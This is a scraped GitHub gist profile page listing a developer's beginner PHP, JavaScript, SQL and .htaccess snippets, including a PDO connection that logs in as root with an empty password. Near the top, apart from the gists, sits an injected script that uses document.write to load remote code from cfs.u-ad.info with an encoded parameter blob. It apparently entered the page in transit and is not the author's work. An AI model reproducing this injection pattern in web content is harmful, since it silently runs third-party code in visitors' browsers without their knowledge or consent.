Skip to content

Instantly share code, notes, and snippets.

View inuvalogic's full-sized avatar
🎯
Focusing on your daily target, will bring you one step closer to your success

Wisnu Hafid inuvalogic

🎯
Focusing on your daily target, will bring you one step closer to your success
View GitHub Profile
<script type="text/javascript">if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&amp;enc=telkom2");document.write("&amp;params=" + "4TtHaUQnUEiP6K%2fc5C582NgXaqsgjSGNmy5UhL8WAHcGKTKr6WSBppXMW1UxgDgcfA2wWZe9QolwMJt6i%2fnlNFC4syAaI3Zsu%2f4Yz8aIISNBDhOlhosaXlhOFRkqVSv4awd3UcZgwbXYIHJmHDFfc4f0mJganG0msLGLUe9fH%2bCqxr7QpmYKHq0lkwsP0mryjRnPkdRHmjfS37JPtsdmGhQEekRF97E6CPDq%2bbib%2b%2fArWQhB0hzyD5mJwQbOCxwM1fK3OT%2f5BXGTv7%2fIQuRj%2fYoc%2bXyR0nPqsfLqSv%2bNBRhRD9CaFCyc20Wu%2fooF8VROSJ5OIwOgqbvXZQIC9nLh57tOoUTMJaVaE9N4RkF9PgtuF5HTFEprTCsDoeNG2nvI2r7TLJ2apt%2fpVvb6VQzGrW%2fCrcrUGuLUfmLr48kBm5H9z%2bP7FxOYwNZHIZO6N3t%2f1Np6uEu31aQeBFwVICTN9ld2iSNQzhP7ULhg8GR%2bHtoBoKMoiudOtJog%2fqwAl4GzGRPbeLqEdrv4cjsLj%2bQyBndqKF%2fMrOAx2CSKjQIUaH9J4c7BH6AI1cQoenlgReoSdgRZ04fB8CrJgkK0j7O5wXeF7s7VCdHDpWWYA
@inuvalogic
inuvalogic / config.php
Last active August 29, 2015 14:16
How to give Subdomain path in Jbimages plugin in tinymce
<?php
/* tinymce/plugins/jbimages/config.php */
| -------------------------------------------------------------------
|
| Path to upload target folder, relative to domain name. NO TRAILING SLASH!
| Example: if an image is acessed via http://www.example.com/images/somefolder/image.jpg, you should specify here:
|
| $config['img_path'] = '/images/somefolder';
|
@inuvalogic
inuvalogic / inujax.js
Last active November 9, 2016 18:58
inujax - simple ajax for old man
/*
* INUJAX v.1.0.2
* by Wisnu Hafid
* April 2005
*
* before jquery ajax was born, I'm using this self cook ajax for the project :)
*
*/
function inujax_connect()
<?php
$hostname = 'localhost';
$dbname = 'latihan';
$username = 'root';
$password = '';
try {
$pdo = new PDO('mysql:host='.$hostname.';dbname='.$dbname, $username, $password, array(
PDO::ATTR_PERSISTENT => true
<?php
$hostname = 'localhost';
$dbname = 'latihan';
$username = 'root';
$password = '';
try {
$pdo = new PDO('mysql:host='.$hostname.';dbname='.$dbname, $username, $password, array(
PDO::ATTR_PERSISTENT => true
));
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
@inuvalogic
inuvalogic / MYSQL 1-create-db.sql
Last active January 28, 2017 04:28
latihan membuat website
CREATE DATABASE latihan CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
<!DOCTYPE html>
<html>
<head>
<title>Web PHP Pertama Saya</title>
</head>
<body>
<?php
echo "Web PHP Pertama Saya";
print "Hore saya bisa";
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
session_start();
if (isset($_SESSION['login'])){
session_destroy();
header("Location: login.php");
}
if (isset($_POST['submit'])){
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /hpdki/
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-l